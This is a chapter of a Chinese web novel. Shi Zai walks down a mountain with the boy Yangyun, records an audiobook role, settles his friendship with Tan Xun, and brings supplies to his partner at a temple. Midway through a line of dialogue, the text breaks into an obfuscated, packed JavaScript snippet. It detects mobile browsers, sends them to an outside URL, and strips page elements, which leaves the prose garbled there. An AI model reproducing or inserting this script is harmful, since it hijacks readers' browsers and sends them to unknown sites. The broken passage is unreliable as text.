下山的路果然没上山好走,关键是心境,少了一个人像少了一片天,山坡上的银杏树随着微风摇摇晃晃,伸长的枝桠像山上人方才无声地挽留,没有安全感的不仅是一个人。
但,若说度日如年,十五天再艰难也是值得。
时载收回视线,捏了捏仰云的脸蛋:
“因为你们喜欢我、爱我啊,想要跟我一起努力,我不能让你们任何一个站一旁干看着。让对方感觉到被需要,也是在意的一种表现。云宝,能懂吗?”
“……大概吧。”
“想想看,你二叔之前为什么要偷偷出去扛石板?”
“……明白啦。”
“其实这不是最关键的原因。”
顿了顿,时载低头对上好奇的圆眼睛,笑笑:
“我知道你二叔过去想当和尚是一种无奈之举,既然有机会重来,那我就想让他重走一遍过去,用开心取替不开心,让那段记忆染上新的色彩,有我陪伴的色彩。”
“……小哥……”
“那时候的修行是逃避,是当一天和尚撞一天钟,我要现在的他满怀期待,每一天都盼着能早日与我相见。十五天后,老古董就是专属于我的老古董啦,嘿嘿。”
“哈哈哈,他已经是你专属。”
“我要过去、现在和未来都是。你们以前生活的朝代叫……大汤朝?已经不复存在,那我就用新的故事为你们记载一段新的历史。不过——”
“什么?”
“让你们重新体验一遍东宫的生活,我是做不到啦,哈哈哈。”
俩人一起笑起来,笑声回荡在山谷,银杏树枝仍是轻晃,却看着欢快许多。
又碰见上山时的那只鸟,从他们背后低低掠过去,很顽皮,时载晃了晃仰云的脑袋:
“你呢,小鸟?”
“什么啊?”
“过去有没有不开心的事情,小哥也给你补。”
“……我没有呀,整天没心没肺地玩,很、很开心的。”
“是吗?”
“……恩。”
点了头,仰云顺势低下头去,假装看台阶旁的小野花,绿色的,很独特。
就像小哥崽,不被在意没有关爱地长到今天,心里却有着满满的爱,自己都还空缺许多,却想着为二叔、为他弥补过去。时载是他活了三世,除二叔外遇到的最好的人。
不,比二叔还好,二叔才不会跟他谈心呢。
看仰云这样,时载没有继续强问。知道看起来开朗没有心事的小鸟也是有着不愿回想的过去的,从他时而表露出的不合时宜的乖巧和谨慎就知道了。
就说前天晚上,仰云差点碰掉一个碗,本来没什么,他却接连说了两次“我再也不会不小心了”,让时载记到如今,还偷偷问叔仰阔是不是过去老凶他才让他这样,结果叔仰阔很委屈巴巴地垂了眸“说了没有凶过”,让时载瞬间心软,先把仰云放一边,先哄这个话少却背了不少黑锅和大帽子的。很多小事聚在一起,让时载愈发想要渐渐弥补他们的过去。
过去无法找回,但当下可以填充空白,并让空白更加美好。
仰云不愿说,那就不急,他们还有大把的时间过当下、说往后。
将仰云送到陶艺培训馆报道完毕,已经是中午了。两人拎着买好的材料在附近吃了面,时载一边吃一边叮嘱他,让仰云上完课在公交车站等着自己,时载要去的录音棚距离陶艺培训馆仅有三站路,他们可以一起回家。又给仰云五十块钱,让他需要什么自己买,不要不舍得花钱。
全部交待完,时载急匆匆赶往“景锋传媒”的录音棚。这部小说已经开录好几天,到今天下午才有男三的戏份,时载早已背得滚瓜烂熟,连跟他对话的角色所说的话都记下来了。
前面半个月,时载几乎每晚都抓着叔仰阔和仰云帮自己对戏,一个是女生,一个是小孩,一个声线毫无波澜地念经,一个捏着嗓子说话,每晚都让他笑个没完。于他而言,哥和弟弟也在对他的过去进行弥补,这种被人放在心坎上喜爱的感觉实在太好了。
过去的沟壑一点点被新的记忆、快乐补平,时载有时恍然,这才是他的兄弟、家人。
录完之后,时间还早,这会儿去陶艺馆的话还得下车在站台等好久,时载就在棚子外间看别人录,挺感兴趣。原先只是想着赚个快钱,刚才毫无磕绊地录完并得到工作人员的夸奖之后,时载忽然觉得自己在这方面挺有天赋。一直以来,他干过太多杂七杂八的活儿,那句“走一步看一步”不仅仅是跟哥和弟弟说的,更是他一向的人生法则,如今,他觉得自己大概能迈一大步了。
其实从帮蒋自擎对戏时,时载就知道自己在这方面还不错了,无论念什么词都能很准确地拿捏到位,这也是蒋自擎让谈埙劝说他来录有声小说的原因。
正看着,谈埙从外面走进来,时载起身跟他打招呼:
“埙哥,怎么来了?”
“看看,感觉怎么样?”
“挺好。”
“要不要长期合作?你不拍照片真可惜,跟我换个别的合作吧,火得话也算帮我个大忙。”
听到这里,时载笑了下,摇头:
“我可帮不了大忙。”
“不要妄自菲薄,你若当时跟蒋自擎一起进娱乐圈,挖他的老板更得乐开花,这就是帮了大忙,互相成就。小载长得好,声音也好,人更是好,谁圈着谁有福,摇钱树,哈哈哈。”
“埙哥别说笑了。”
“实话。怎么样,考虑一下?要是答应长期合作,我后面准备自己开公司,让你想录什么就录什么。朋友么,互相帮忙,互相成就。”
话虽是这么说,但时载已经不是过去的时载,短短半个多月,他各方面都在飞速成长,无论是对自我的认知,还是喜欢、爱,或是对朋友的理解,都不再是过去的懵懂。
听到谈埙第二次提起“互相成就”,时载顿了顿,道:
“埙哥,我们以后还是朋友吗?”
“怎么突然这么问……他们两个,跟蒋自擎不一样?”
“恩,不一样,是哥和弟弟。”
“考虑好了?”
“对的埙哥,你如果觉得……等我录完这部小说,不会再打扰,但你有什么用得上我的,还是跟以前一样尽管说,我都会帮。”
几句话听下来,谈埙摸了下裤子口袋,碰到烟的时候又松开,余光里,不再是十六岁小男孩了,小载真的长大了,终于长大了。
沉默片刻,没有让时载的话落地上,谈埙笑了下:
“别说傻话,小载无论对哪一个朋友,都是付出最多的那一个,我年长你许多,却并没有帮到你什么,至于你赚的钱也是你该赚的,我还想用你赚更多的钱,只是你不肯。我们之间,只有我打扰你,没有你打扰我的道理,小载不要乱琢磨。”
“好,那——”
“只要你愿意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172043|180725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“不,是埙哥愿意的话。”
说完,时载弯了弯眼睛,松了口气,他朋友不多,只有谈埙和蒋自擎而已。只要他们愿意一直把他当朋友,时载会永远朝他们打开自己的家门。
哦,现在是他跟哥和弟弟的家门,嘿嘿。
正说着话,方才夸时载“很棒”的工作人员走过来,想留个时载的电话。
谈埙噗嗤笑了,看了眼傻乎乎掏手机的时载,说了句“小白,别乱勾搭,他有对象”,时载才摸出手机,听了这话一懵,倏尔红了脸,怪不好意思的——对象。他有对象!
叫小白的比时载大不了两岁,闻言哈哈大笑:
“有对象还不能交朋友了?时弟刚才戏里的声音太好听了,没准以后单干,我提前找个路。”
“这里装不下你了?”
“哈哈哈谈总别醋,等我拿下时弟,到时候送你帐下!”
时载越听越觉得俩人离谱,赶紧打断他们:
“你要有事的话找埙哥要我手机号,我得赶紧去接弟弟了!”
说着,时载冲他们摆了摆手,就往外冲,没注意都快下班了,自己得卡好时间,要不然仰云会在公交车站等他很久。
路上,果然接到“小白”的电话,全名叫白籍橡,没别的意思,就是认识一下,毕竟也算是同一行的。时载便用数字5存了他的电话,若以前,时载是不愿意多交朋友的。但如今心境大有不同,也的确,多个朋友多条路,他现在整个人也活得更加积极乐观了。
接到仰云之后,俩人到了家收拾了一些东西,马不停蹄地又赶往朝林寺。
上午,谁也没料到叔仰阔要在寺庙待半个月,啥也没拿,所以晚上把洗漱用品、换洗衣物什么的送上山。还好山不高,不到半小时就到了朝林寺,男人已经在寺外等着他们了。
说着十五天不算什么,才大半天不见,时载立即飞鸟投林似的扑过去,被清冽好闻的气息整个裹住时,才觉得瞬间心安,埋着头拱了拱,耳边是同样的思念:
“还有十四日。”
“哥明天就别太想我啦,寺庙里不是不能有七情六欲嘛,你在这里专心,情和欲等下山之后全部给我。”
“……”
“听见没有?妖僧!”
叔仰阔笑着点了点头,幸好他们昨晚什么都没做,要不然小狗崽开了闸得把寺庙淹了。
夜幕四合,月亮渐渐明起来,山寺寂静,只有风吹枝叶的簌簌声,这一瞬的怀抱大概能抵漫漫长夜了,时载埋够了头,还没抬起脸,余光里,仰云在他们脚下画了一个圈,这小孩……
他笑了下,将两人放在一边地上的东西递给叔仰阔,时载拽着仰云起身:
“哥,你快进去吧,我们回家啦。”
“……这就走?”
时载说了句“是啊”,两手捂住仰云的耳朵,故意叹口气道:
“又不能抱又不能摸,我干看着心痒痒呢,哥就别勾我了。”
“……”
“快进去吧,晚上别熬太晚。”
“……就没话跟哥说?”
时载猛地想要大笑,堪堪忍住,眨了眨眼:
“那哥亲我一下吧。”
“……”
仰云的眼睛也被捂住了。
另一只手揽着怀里人,叔仰阔低头浅浅碰了下,只有将房里多打的斋饭让他们带下山。
十五天,还是太久了。